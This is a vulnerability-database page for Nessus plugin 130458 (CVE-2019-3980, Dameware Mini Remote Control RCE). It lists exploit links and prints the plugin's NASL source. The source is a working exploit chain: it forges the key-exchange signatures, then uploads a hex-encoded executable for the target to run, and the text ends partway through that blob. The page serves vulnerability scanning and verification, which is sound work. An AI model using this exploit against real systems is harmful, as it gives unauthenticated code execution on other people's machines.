SolarWinds Dameware Mini Remote Control Unauthenticated RCE - Nessus

Critical   Plugin ID: 130458

This page contains detailed information about the SolarWinds Dameware Mini Remote Control Unauthenticated RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 130458
Name: SolarWinds Dameware Mini Remote Control Unauthenticated RCE
Filename: solarwinds_dameware_mini_remote_control_cve-2019-3980.nasl
Vulnerability Published: 2019-10-08
This Plugin Published: 2019-11-01
Last Modification Time: 2022-01-26
Plugin Version: 1.6
Plugin Type: remote
Plugin Family: Windows
Dependencies: find_service2.nasl, solarwinds_dameware_mini_remote_control_cve-2019-3956.nasl

Vulnerability Information


Severity: Critical
Vulnerability Published: 2019-10-08
Patch Published: 2019-10-18
CVE [?]: CVE-2019-3980
CPE [?]: cpe:/a:dameware:mini_remote_control

Synopsis

The remote host is running a remote control application that is affected by a remote code execution vulnerability.

Description

The SolarWinds Dameware Mini Remote Control Client Agent running on the remote host is affected by a remote code execution vulnerability due to improper validation of user-supplied data. An unauthenticated, remote attacker can exploit this, via a series of requests, to execute arbitrary code.

Solution

The fix introduced in SolarWinds Dameware Mini Remote Control v12.1 Hotfix 3 appears to be incomplete. Please contact the vendor for a solution and possible workarounds.

Public Exploits


Target Network Port(s): 6129
Target Asset(s): Services/dameware
Exploit Available: True (GitHub)
Exploit Ease: Exploits (PoCs) are available

Here's the list of publicly known exploits and PoCs for verifying the SolarWinds Dameware Mini Remote Control Unauthenticated RCE vulnerability:

  1. GitHub: https://github.com/Barbarisch/CVE-2019-3980
    [CVE-2019-3980: CVE-2019-3980 exploit written in win32/c++ (openssl dependency). Port of ...]
  2. GitHub: https://github.com/S3cur3Th1sSh1t/Pentest-Tools
    [CVE-2019-3980]
  3. GitHub: https://github.com/warferik/CVE-2019-3980
    [CVE-2019-3980]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2019-3980
CVSS V2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:U/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:7.4 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.4 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:8.5 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.5 (High)
STIG Severity [?]: I
STIG Risk Rating: High

Go back to menu.

Plugin Source


This is the solarwinds_dameware_mini_remote_control_cve-2019-3980.nasl nessus plugin source code. This script is Copyright (C) 2019-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");

if (description)
{
  script_id(130458);
  script_version("1.6");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/01/26");

  script_cve_id("CVE-2019-3980");
  script_xref(name:"TRA", value:"TRA-2019-43");
  script_xref(name:"IAVA", value:"2020-A-0392-S");

  script_name(english:"SolarWinds Dameware Mini Remote Control Unauthenticated RCE");
  script_summary(english:"Checks server response");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running a remote control application that is
affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The SolarWinds Dameware Mini Remote Control Client Agent running on
the remote host is affected by a remote code execution vulnerability
due to improper validation of user-supplied data. An unauthenticated,
remote attacker can exploit this, via a series of requests, to
execute arbitrary code.");
  # https://support.solarwinds.com/SuccessCenter/s/article/Dameware-Mini-Remote-Control-12-1-0-Hotfix-3-Release-Notes
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?fee92693");
  script_set_attribute(attribute:"solution", value:
"The fix introduced in SolarWinds Dameware Mini Remote Control v12.1
Hotfix 3 appears to be incomplete. Please contact the vendor for
a solution and possible workarounds.");

  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-3980");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/10/08");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/10/18");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/11/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:dameware:mini_remote_control");
  script_set_attribute(attribute:"stig_severity", value:"I");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"Windows");

  script_copyright(english:"This script is Copyright (C) 2019-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("find_service2.nasl","solarwinds_dameware_mini_remote_control_cve-2019-3956.nasl");
  script_require_ports(6129, "Services/dameware");

  exit(0);
}

include('audit.inc');
include('global_settings.inc');
include('misc_func.inc');
include('byte_func.inc');
include('string.inc');
include('kerberos_func.inc');

##
#
# Read a block of data
#
# @param socket socket to read data from
#
# @return a block of data or NULL on error.
#
##
function _recv_blk(socket)
{
  local_var data, size;

  # Read 0xc-byte msg header
  data = recv(socket:socket, length:0xc, min:0xc);

  if(strlen(data) != 0xc) return NULL;

  # Get msg body size
  size = getdword(blob:data, pos:8);

  # Body size should not be too big
  if (size > 0x100000) return NULL;

  # Get msg body
  data += recv(socket:socket, length:size);

  return data;
}

port = get_service(svc:'dameware', default:6129, exit_on_fail:TRUE);

soc = open_sock_tcp(port);
if (! soc) audit(AUDIT_SOCK_FAIL, port);

set_byte_order(BYTE_ORDER_LITTLE_ENDIAN);

#
# On connection, server sends MSG_TYPE_VERSION (0x00001130)
#
res = recv(socket:soc, length:0x28, min:0x28);
if(strlen(res) < 0x28 || getdword(blob:res, pos:0) != 0x0001130)
{
  close(soc);
  exit(1, 'Failed to receive the MSG_TYPE_VERSION message from server on port ' + port + '.');
}

if(getdword(blob:res, pos:0x24) & 8 == 0)
{
  close(soc);
  exit(0, 'Smart Card Logon appears to be disabled on the server listening on port ' + port + '.');
}

#
# Client sends MSG_TYPE_VERSION (0x00001130)
# requesting smart card authentication
#
req = mkdword(0x1130)
  + '\x00\x00\x00\x00'
  + '\x00\x00\x00\x00\x00\x00\x28\x40'  # ProtocolMajorVersion (12)
  + '\x00\x00\x00\x00\x00\x00\x00\x00'  # ProtocolMinorVersion (0)
  + mkdword(4)
  + mkdword(0)
  + mkdword(0)
  # AuthType:
  #   0 - DW_REQUESTED_AUTHENTICATION_TYPE_BASIC (dwrcs user/pwd)
  #   1 - DW_REQUESTED_AUTHENTICATION_TYPE_NTCR (NTLMSSP)
  #   2 - DW_REQUESTED_AUTHENTICATION_TYPE_ENCRYPTED (encrypted OS creds)
  #   3 - DW_REQUESTED_AUTHENTICATION_TYPE_SMARTCARD
  + mkdword(3);
send(socket:soc, data:req);

#
# Server sends MSG_TYPE_CLIENT_INFORMATION_V7 (0x00011171)
#
res = recv(socket:soc, length:0x3af8, min:0x3af8,timeout:10);
if(strlen(res) < 0x3af8 || getdword(blob:res, pos:0) != 0x00011171)
{
  close(soc);
  exit(1, 'Failed to receive the MSG_TYPE_CLIENT_INFORMATION_V7 message from server on port ' + port + '.');
}

# Client sends MSG_TYPE_CLIENT_INFORMATION_V7 (0x00011171)
# Should be able to use the one sent by the server
send(socket:soc, data:res);

#
# Server sends MSG_TYPE_RSA_CRYPTO_C_INIT (0x000105b8)
#
msg_len = 0x1220;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b8)
{
  close(soc);
  exit(1, 'Failed to receive the MSG_TYPE_RSA_CRYPTO_C_INIT message from server on port ' + port + '.');
}

#
# Client sends MSG_TYPE_RSA_CRYPTO_C_INIT (0x000105b8)
# Should be able to use the one sent by the server
send(socket:soc, data:res);

#
# Server sends Msg 0x000105b9
#
msg_len = 0x2c2c;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b9)
{
  close(soc);
  exit(1, 'Failed to receive a message 0x000105b9 from server on port ' + port + '.');
}

# Get Server public key
pkey_len = getdword(blob:res, pos: 0x140c);
if(pkey_len != 0x10 && pkey_len != 0x2b)
{
  close(soc);
  exit(1, 'Unexpected server public key size ' + pkey_len + ' in a key exchange message from server on port ' + port + '.');
}
srv_pubkey = substr(res, 0x100c, 0x100c + pkey_len -1);

# DH (load dwrcrss.dll)
if(pkey_len == 0x10)
{
  dh_prime = raw_string(
  0xF5, 0x1F, 0xFB, 0x3C, 0x62, 0x91, 0x86, 0x5E,
  0xCD, 0xA4, 0x9C, 0x30, 0x71, 0x2D, 0xB0, 0x7B
  );

  dh_gen = raw_string(3);
  clt_privkey = rand_str(length:16);
  # g^x mod p
  clt_pubkey  = bn_mod_exp(dh_gen, clt_privkey, dh_prime);
  shared_secret = bn_mod_exp(srv_pubkey, clt_privkey, dh_prime);

  # Sign the DH shared secret with SHA512withRSA
  n = raw_string(
    0x00,0xad,0x8c,0x81,0x7b,0xc7,0x0b,0xca,0xf7,0x50,0xbb,0xd3,0xa0,0x7d,0xc0,
    0xa4,0x31,0xe3,0xdd,0x28,0xce,0x99,0x78,0x05,0x92,0x94,0x41,0x03,0x85,0xf5,
    0xf0,0x24,0x77,0x9b,0xb1,0xa6,0x1b,0xc7,0x9a,0x79,0x4d,0x69,0xae,0xcb,0xc1,
    0x5a,0x88,0xb6,0x62,0x9f,0x93,0xf5,0x4b,0xca,0x86,0x6c,0x23,0xae,0x4f,0x43,
    0xac,0x81,0x7c,0xd9,0x81,0x7e,0x30,0xb4,0xcc,0x78,0x6b,0x77,0xd0,0xbb,0x20,
    0x1c,0x35,0xbe,0x4d,0x12,0x44,0x4a,0x63,0x14,0xec,0xfc,0x9a,0x86,0xa2,0x4f,
    0x98,0xb9,0xb5,0x49,0x5f,0x6c,0x37,0x08,0xc0,0x1d,0xd6,0x33,0x67,0x97,0x7c,
    0x0d,0x36,0x62,0x70,0x25,0xd8,0xd4,0xe8,0x44,0x61,0x59,0xe3,0x61,0xca,0xb8,
    0x9e,0x14,0x14,0xaa,0x2f,0xcb,0x89,0x10,0x1b
  );

  d = raw_string(
    0x00,0xa1,0x60,0xcf,0x22,0xd7,0x33,0x3b,0x18,0x00,0x85,0xb7,0xc3,0x3c,0x4c,
    0x3f,0x22,0x79,0x3d,0xb4,0xed,0x70,0x3d,0xf0,0x08,0x9e,0x3d,0x5a,0x56,0x5e,
    0x1c,0x60,0xfc,0xab,0xd5,0x64,0x9d,0xde,0x5c,0xe1,0x41,0x3f,0xed,0x9f,0x60,
    0x7b,0x9c,0x36,0xe4,0xbc,0x78,0xec,0x16,0xff,0x0b,0x42,0x51,0x67,0x8c,0x23,
    0x64,0xac,0xbf,0xf8,0xcb,0xed,0xe8,0x46,0x66,0x40,0x8f,0x70,0x46,0x10,0x9c,
    0x63,0x07,0x74,0x33,0x64,0x26,0x25,0xa6,0x34,0x43,0x8f,0x95,0xa9,0x70,0xd1,
    0x40,0x69,0x0b,0xf8,0xc8,0x62,0x5f,0x8d,0xe8,0x8f,0xc4,0x46,0xbf,0x09,0xab,
    0x83,0x68,0xfe,0x5f,0x2d,0x2d,0x3b,0xd9,0xf5,0xd5,0x32,0x34,0xbc,0x37,0x17,
    0xcb,0x13,0x50,0x96,0x6e,0x26,0x82,0xc2,0x39
  );

  e = raw_string(0x01, 0x00, 0x01);
  hash = SHA512(shared_secret);

  # OID for SHA512
  oid = '2.16.840.1.101.3.4.2.3';
  oid = der_encode_oid(oid:oid);

  # Hash OID with NULL parameters
  hash_id = der_encode(tag:0x30, data:oid + '\x05\x00');
  hash = der_encode(tag:0x4, data: hash);
  data = der_encode(tag:0x30, data:hash_id + hash);

  # Signature to be send to the server
  sig = rsa_private_encrypt(data:data, d:d, n:n, e:e);

  # The RSA public key to be sent to the server so that it can verify
  # the signature.
  ne = der_encode(tag:2, data:n) + der_encode(tag:2, data:e);
  pubkey = der_encode(tag:0x30, data:ne);
}
# ECDH (load dwrcrsa.dll)
else
{
  # dwrcrsa.dll uses a custom/unamed EC curve defined as follows:
  p = raw_string(
    0x06, 0xaa, 0xfb, 0xfb, 0x70, 0x6b, 0xc9, 0x37,
    0xab, 0x4d, 0x86, 0x11, 0xb2, 0x39, 0x5f, 0x67,
    0x56, 0x6b, 0xd9, 0x8a, 0x6d
  );

  a = raw_string(
    0x06, 0xaa, 0xfb, 0xfb, 0x70, 0x6b, 0xc9, 0x37,
    0xab, 0x4d, 0x86, 0x11, 0xb2, 0x39, 0x5f, 0x67,
    0x56, 0x6b, 0xd9, 0x8a, 0x6a
  );

  b = raw_string(
    0x0c, 0x6e, 0x5c, 0xa4, 0x9c, 0x46, 0x9d, 0xcd,
    0xd2, 0x58, 0x42, 0xbd, 0xe3, 0x19, 0xb2, 0xfb,
    0xff, 0xe3, 0x42, 0xe5
  );

  gx = raw_string(
    0x02, 0x25, 0x81, 0x11, 0x63, 0x60, 0x05, 0x22,
    0x5f, 0x5a, 0x3d, 0x4d, 0xa6, 0x71, 0x6b, 0x36,
    0xd3, 0xbb, 0x14, 0xf9, 0xd1
  );

  g = raw_string(0x04) + gx +
      # gy
      raw_string(
        0x03, 0x5c, 0x13, 0x77, 0x6b, 0x8a, 0x3b, 0xc9,
        0xb1, 0x65, 0x40, 0x4f, 0xbb, 0x72, 0xe0, 0x64,
        0xe4, 0x8e, 0xc3, 0xc4, 0x2f
      );

  n = raw_string(
    0x6a, 0xaf, 0xbf, 0xb7, 0x06, 0xbc, 0x93, 0x7a,
    0xb4, 0xd8, 0x50, 0xb1, 0xb0, 0x97, 0xc5, 0x31,
    0x69, 0x16, 0xc6, 0xd1
  );

  h = raw_string(0x10);

  # Use d = 1, so the public key is just g
  clt_pubkey = g;

  # Because we use d = 1, the shared secret is just
  # the x coordinate of the server public key
  shared_secret = substr(srv_pubkey, 1, 0x15);

  #
  # Sign the ECDH shared secret with SHA1withECDSA
  #
  # Use the same curve for ECDSA
  # Use k = 1, d = 1
  hash = SHA1(shared_secret);

  r = bn_mod(gx, n);
  s = bn_mod_add(hash,r,n);

  # Pad if needed
  if(strlen(r) < strlen(n))
    r = crap(data:'\x00', length: strlen(n) - strlen(r)) + r;

  if(strlen(s) < strlen(n))
    s = crap(data:'\x00', length: strlen(n) - strlen(s)) + s;

  # The signature to be sent to the server
  sig = der_encode(tag:2, data:r) + der_encode(tag:2, data:s);
  sig = der_encode(tag:0x30, data:sig);

  # The EC public key to be sent to the server so that it can verify
  # the signature.
  #
  # RFC 3279, ECParameters ::= SEQUENCE
  ver = der_encode(tag:2, data:'\x01');
  oid = '1.2.840.10045.1.1'; # id-prime-Field
  oid = der_encode_oid(oid:oid);
  field = oid + der_encode(tag:2,data:p);
  field = der_encode(tag:0x30, data:field);
  curve = der_encode(tag:4, data:a) + der_encode(tag:4, data:b);
  curve = der_encode(tag:0x30, data:curve);
  base = der_encode(tag:4, data:g);
  order = der_encode(tag:2, data:n);
  cofactor = der_encode(tag:2, data:h);
  params = ver + field + curve + base + order + cofactor;
  params = der_encode(tag:0x30, data:params);

  # RFC 5280, SubjectPublicKeyInfo ::= SEQUENCE
  oid = '1.2.840.10045.2.1'; # id-ecPublicKey
  oid = der_encode_oid(oid:oid);
  alg = der_encode(tag:0x30, data: oid + params);

  # Because d = 1, the public key is just g
  pubkey = der_encode(tag:3, data:'\x00' + g);
  pubkey = der_encode(tag:0x30, data:alg + pubkey);
}

# Compute shared secret addsum
clt_addsum = 0;
for (i = 0; i < strlen(shared_secret); i++)
  clt_addsum += ord(shared_secret[i]);

#
# Client sends Msg 0x000105b9
#
req = mkdword(0x000105b9);

# Server public key at offset 0x100c, up to 0x400 bytes
req += crap(data:'\x00', length:0x100c - strlen(req));
req += rpad(srv_pubkey, 0x400, char:'\x00');

# Length of server public key
req += mkdword(strlen(srv_pubkey));
# Client public key at offset 0x1418, up to 0x400 bytes
req += crap(data:'\x00', length:0x1418 - strlen(req));
clt_privkey = rand_str(length:16);
# Write client public key
req += rpad(clt_pubkey, 0x400, char:'\x00');
# Write client public key length
req += mkdword(strlen(clt_pubkey));
# Pad to msg_len
req += crap(data:'\x00', length: msg_len - strlen(req));
send(socket:soc, data:req);

#
# Server sends another msg 0x000105b9.
#
# This msg includes the length and addsum of the shared secret
#
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x000105b9)
{
  close(soc);
  exit(1, 'Failed to receive the second message 0x000105b9 from server on port ' + port + '.');
}

# Server-computed addsum of the shared secret
srv_addsum = getdword(blob:res, pos: 0x181c + 4);
if(srv_addsum != clt_addsum)
{
  close(soc);
  exit(1, "Client-computed DH/ECDH shared secret not matched with server's.");
}

#
# Client sends another msg 0x000105b9
#
req = mkdword(0x000105b9);
# Server public key at offset 0x100c, up to 0x400 bytes
req += crap(data:'\x00', length:0x100c - strlen(req));
req += rpad(srv_pubkey, 0x400, char:'\x00');
# Length of server public key
req += mkdword(strlen(srv_pubkey));
# Length of client-computed shared secret
req += mkdword(strlen(shared_secret));
# Addsum of client-computed shared secret
req += mkdword(clt_addsum);
# Client public key offset 0x1418, up to 0x400 bytes
req += rpad(clt_pubkey, 0x400, char:'\x00');
# Length of client public key
req += mkdword(strlen(clt_pubkey));
# Length of server-computed shared secret
req += mkdword(strlen(shared_secret));
# Addsum of server-computed shared secret
req += mkdword(srv_addsum);
# Signature at offset 0x1824, up to 0x800 bytes
req += rpad(sig, 0x800, char:'\x00');
# Length of the signature
req += mkdword(strlen(sig));
# Public key used to verify the signature
req += rpad(pubkey, 0x800, char:'\x00');
# Length of the public key
req += mkdword(strlen(pubkey));
# Pad to msg_len
req += crap(data:'\x00', length: msg_len - strlen(req));
send(socket:soc, data:req);

#
# If the server is able to verify the signature it sends a
# MSG_REGISTRATION_INFORMATION (0x0000b004).
#
# If the server is unable to verify the signature it closes the
# connection.
#
msg_len = 0xc50;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x0000b004)
{
  close(soc);
  exit(1, 'Failed to receive a MSG_REGISTRATION_INFORMATION from server on port ' + port + '.');
}

# Client sends a MSG_REGISTRATION_INFORMATION
# Should be able to use the one sent by the server
send(socket:soc, data:res);

#
# Server sends a MSG_SOCKET_ADD (0x00010626)
#
msg_len = 0x224;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x00010626)
{
  close(soc);
  exit(1, 'Failed to receive a MSG_SOCKET_ADD from server on port ' + port + '.');
}

#
# Server sends a msg 0x0000d6e2
#
msg_len = 0x1438;
res = recv(socket:soc, length:msg_len, min:msg_len, timeout:10);
if(strlen(res) < msg_len || getdword(blob:res, pos:0) != 0x0000d6e2)
{
  close(soc);
  exit(1, 'Failed to receive a message 0x0000d6e2 from server on port ' + port + '.');
}


#
# Client sends a msg 0x0000d6e2
# Should be able to use the one sent by the server
#
send(socket:soc, data:res);


#
# Server sends msg 0x0000d6f6 2 times
# This msg is variable length.
#
for(i = 0; i < 2; i++)
{
  res = _recv_blk(socket:soc);
  if(strlen(res) < 12 || getdword(blob:res, pos:0) != 0x0000d6f6)
  {
    close(soc);
    exit(1, 'Failed to receive a message 0x0000d6f6 from server on port ' + port + '.');
  }
}

#
# Now we are in the right state to send our dwDrvInst.exe.
#
# Contents saved as dwDrvInst.exe in
# C:\Windows\Temp.
# The exe is passed to CreateProcess().
#
data =
'ecbd7f7854c5b9387e367b921c6093b348821102045c150531b2a0c405dc4836' + 
'4465713721bb4448a22d70d7142dc239883581c4936d391956f196deda5b7a2b' + 
'c5f6daabf773bdd5ab50296c584c82528c889a166a83469c75a30689c94622e7' + 
'fbbe73ce269b88de7e9ee7f37cff72f364cf9cf9f1ce3befbcf3cefbcebc33eb' + 
'be7b2767e6388e877f4de3b87d9cfe7172fffba713fe33a7fd31937b71cc9fa7' + 
'ef332dfbf3f41581fb36e56dd8f8c37fda78effd79dfbff781077e28e57d6f6d' + 
'de46f981bcfb1ec82bbaab2ceffe1fae593b272363accd805137ab5d28b8e3e0' + 
'aac47fe4818babae65cfdfacda04cfb1815fae72e0fb7dffbe2a9fe539b4aa9c' + 
'a5ef5d359d3d2fac5ac09e0a7b96def7fd00c249e0e87171dc3213cf7df0f953' + 
'ce61bc45d338533ac7b5c3cb063d6ed73af8b21a8dc2d65bf577de28c30f0134' + 
'b1f8de1e13a31b7bb1263f871eec73cc64e2b63090266e3b9f94906fe2f2270f' + 
'bf3e7f86e372b9ff8b0fe0f98ce99b93e7486bb748584dab8150fb28c4e093c7' + 
'71f7ccd9b8e65ee95e8efbf17546dbf3133418fe00359c73f46cdc9333108ec9' + 
'a08f6974bef09c8d9b367e1fc2acad4e235fded7f239b9ef3edf7dbefb7cf7f9' + 
'eef3dde7bbcf779fef3edf7dbefb7cf7f9eef3ffebc74b56d8041f3947d2fce4' + 
'96d0329be055baade4985a407ec4ab0ff3e4470229b5a80f0bbed6225b1e1650' + 
'bd166d278540305c6709749f71723e0ff52de3b875a4c8265457551ce6b99dc3' + 
'1f80e623922d27d8e7171b7f077620a9b5d9829ad8f8af182eb2cd0c86c5c6c7' + 
'f470de2ff6a349dd3fb01fc07165f653e57f9a0081e6ce1475852df717fd03a4' + 
'cd1e0e1e8517abbacc96a516d96ce28ec39003da304f791f73e5389a65114059' + 
'7fa1bc6f361f26b4f9ab94e0275b7f40de0e3dcd961cc49732c5978a4dcd6784' + 
'716dc5c321f826cdcd7452533df7be93db9ede7c262df97da90972a42d4d8a6a' + 
'8e662ddd9eae9cb9b549c5d7a5dbc5a577c8bf2180162093133c11ca7d561ed7' + 
'929eb1b4257dec5225920238d99c8e6686f363159aa6054f49638327e434e5b3' + 
'14259602057383472539749f29f889f40036732b2fbe9456dcdc292803a6ad69' + 
'e24b13c71dd6df52b6a6422bc635c30b346d22f933696ffe7852d33f334c2f5f' + 
'dadc9976bbdcdd54649b67fedb332679c61fd1129ff576f0c4d66cf21a39d71c' + 
'4dd9b7083ee79f25c79533e6f3ff61fe2be0965fa9e6acaade87767a9572c41a' + 
'a9b687d973a7b7cc0f3d66c51eeb414aaf86c69d121bbb38d663b9d87b1d7a38' + 
'cbdcea8843fb04e014b6d0202acfc277b9cfde670fdb3f31e8ef00609bbe271e' + 
'149581c28d639581bb1f4a559a0fc50a94817bf1f547f8ba3f769d32908faf05' + 
'f8cac7262b03b3e4f4fd8ba17c4cb49f50066e107f76f80ee57de71de4b5a5ca' + 
'80269bdd31a1f96cdab8734a38cda57cc5d73eb93f075bdd066c906e3edc1c37' + 
'bf753618de7a99a9c896438e3747adcd6785ede39694c89f233ee2a3d8215595' + 
'd820e83d6bb56a65945855817480ef11fc5cb2679fb590b317d94aca7cfe000f' + 
'196b3868f64a2dfbc94e2747e2817ae8073fdd742750a5553922843ca626c1d9' + 
'78541ea8819c35a61a6ed6e11a8e74406deb03b81ae2d1b27763c91ee5a226a7' + 
'0724281ecbabe160305a81fa3e2dfb29480d867df2542dfb690806029083beb5' + 
'84e39423bc5fcb7e0ee2ece1d89d05ab6d56c9aee7816658ca4a43d0dc801372' + 
'7b68d71d1c42ccf3d27f6505b3860b5ea617312258cb811d3df665b615d555ab' + 
'a8fd4ecc5f620c6be02ba1310c0203d9c2d25acc96b45a8b052c255d17d4a4ab' + 
'01ce16900a1e78369e41c4d534794220934bafa7d34a38ae9ab4541d163875b1' + 
'11d839f20354e17d817d88b3bd8f1ebf03eb16826186959402452223f30326ca' + 
'624e1e1b303bb97a7a7029e09e969cc7ab6507181675691efa6b481e55be460b' + 
'3c7bd2c9add9c3d6f6d6a85731a1e8f3d758c8007d1baa876e39c2ab924d08f6' + 
'01636761b2948b9ce219d9787a0280ab69b1147b9f9e13584a536f06cc58d36d' + 
'4b19552da4b5ba6a8d9a8105617c8d9495df820fa0738e16336af0c06c7c309c' + 
'1865d204941d2874bca5a48daebea869804358cfc070484be0f05431c341002a' + 
'26a130b20b703eb000518157782f8010301b492bf525ead33c2b80989303c774' + 
'c9bfba980d7e0bc0e55501a4bfa0bfae80572b7b1dd93eaf011bc0f13a682f82' + 
'b6e8a06d0cf4691db429013a018b1f5913a3ddb7c2dbf9a23e4f4d4ecc53ffc7' + 
'f5bf8124cdad6c5e4cb0093105c3521a113c9a5788e8fc46d220caa247b5a661' + 
'e62aedaa5d5041827f09c7c6c762475c9a88ec6f94e76174a491cbfd5aa9c078' + 
'9fe1eff303fe5b05182c3bd928976f08f64957b32ad241304800961443774b63' + 
'3c744509eb7f1ff5e80114d211925e9dccef885f26cc24e3e86fa0ef0df492d3' + 
'd9b825e71cfdd29546c6878732927486ee58250cf866ef02848611fd56fef493' + 
'01223260b311583a4602cfd25d4bff2f06d013458901a4de3c3c84aa12dcfbfe' + 
'12837b5babbf650095936e40b1fd6b282add7965486b20a6bab6c7ae79426eaa' + 
'd675d3c10b9a462aa9e3ef6add608b6bd0b4aed575524049e3f8ba1c739d4ee0' + 
'e24319ba9883022909d1b304d1739d2437914cd4a04eaa29c4d5a1dec613d769' + 
'f53681b83a7dea6d16ed096c2a8907b584eee4a793a060c87dd28bb5270babcf' + 
'6f03ded56a671e44e2c46ca4bc2b700cc46229556f6342b1d5d58d0ddbd77a85' + 
'938b401388dc0d3a453a799d3ef315b4c9dd5b3d3cce57910f2b23ffc0f80b30' + 
'a5ce18da0db731cd8a07f5cd52c39592e3b41a89d53242c50362d34bc94f726e' + 
'4878d4daf2825aa2eb13b1124fd2514e91cc1028a0a51e9ff6c4ce845269d46f' + 
'620480da915b04e0cb74f2063d360828801cadfe0621f6ff109f5da3f079b0f0' + 
'12f82cfcdff1b1befd357cca402b0a034e20caada052e53b3a008f5cec688c01' + 
'5cc6012e4701d3d9204352483a99185a6fb3967b3d50f33c325357d1af25015e' + 
'bd8f270181382dea7d824f2db468ffdc394a357fc569606d0334ad6a26c3fac7' + 
'1798028accf2c805d6802c6c4065825db009566e783ce5bffd0de3a94e8046ac' + 
'edf187dcddaadc45ff4f1c46bf6b10338052b495d779fa29146269c37234542e' + 
'94060e002fd7a4d77001e10327071a10e3fbdaeb890b45cf9358024649ad15de' + 
'89e0638df168e3491cdfad1e10a130840ce91b4b4dd2000edc0a3dbc980060bf' + 
'b6733099167e0ffd2f4cac8461628c729e3880cedab78df4f5b77e6da4572094' + 
'cc50f9c9527af0734dc3369278c875d2933c7ae741a6758aa649d981c045270c' + 
'70ea6d75a1d9c4d11e98d70eb1417d65a01b55b9400113e7ad2ec689fb9e9c82' + 
'035aee42e222b2a4dca2fa04d659c707d8c84e52227064274fb27a7fd55fa2bf' + 
'd6407fd935e82cd57dacd5d5c698adee34883d10836add49b5ae43adeb54eb68' + 
'4d9e5fad3ba06bb35e60b3b5bb5e480bec824e525dcf6daf1ca4aff5010eae63' + 
'050ba0e1e9099ab8403727ee63644ca8fcc552fa4fc00620f619d9c624b2cc58' + 
'ccc8e67ade435b91e78050520611488f47953b60768c9989dc415ccf333e615d' + 
'4c5c2f06c35065826f827d0958ef2c02581343ae231e5fabeb08935da579f653' + 
'8e08f4b5a13d44204b41e511f1b15741cea99561c3fe20ee2305eeb0187a1462' + 
'1de713f07e0c9943e5cfa08c5bd58fb811f769479b342518063dfd9c5a797a68' + 
'0aef93c691893e400ed0ad3c4d5ccf0cb375f05402dccd88de8490abdd53d6ea' + 
'6ad7d15b39244aca3cf4ea45c81d75ed9cd848cd9c4ee6f6c00e2032fdc1179a' + 
'16723fed85dece676402093019f0e82771e828833488471a49f3691e20d2d349' + 
'288099f6730018d8fe01f25c2775434f84caf795c2984ff9123b25e4ea74b448' + 
'd389bb13a6eb545a87adbd29d8a7ca9d92185a2e78f5691ffba293b8f7411e0b' + 
'ade8c741cd1c03a05a9ee0141d06665fc3985d6cbcda7c8984456818893f190b' + 
'69a4fc18b94d50a82836a2b17efd19b40d1b1f43a684b8e0c7dc10011a910035' + 
'bd80b2eb290f10e006401926ea6efa3bc6734f0d37d428508b050ab040f9ee52' + 
'28707180153849655660f7700152d78dc4f9510a9ba541cfda4c5c616038a7ea' + 
'0adb4f453f84293319e687e711e69308f33f060c24a633984fc6ae49c6f600cb' + 
'b80b33362432c6bfc08cbbbe56f957a6a19ea1f4058016d4121c93ea40067c11' + 
'fbe9ee380343a917eb73bfc8fae0ed2fb00f5e641ceca2001994cc246a93cae7' + 
'488f3dbc1f0508b900a6bdfb402174aaab5d751f902a1225049c5442e55df4df' + 
'6f02da5fccdb987a308f0d892ec6aa3e2fcdec812acbbb40fc97ead620a96bb7' + 
'f739faeb66882ff1533d01099b3c308fe91fc5b18f02ebf13dcade7918fe0d0f' + 
'0b1a766e1027a14000138fe98943cd3e80b4914f0e0fe571b760cb9fc7a1774f' + 
'bfd1723f66723fcf5a7eaa175bfefc37b61c9a1dec1b6a3834f912ed7d79fe37' + 
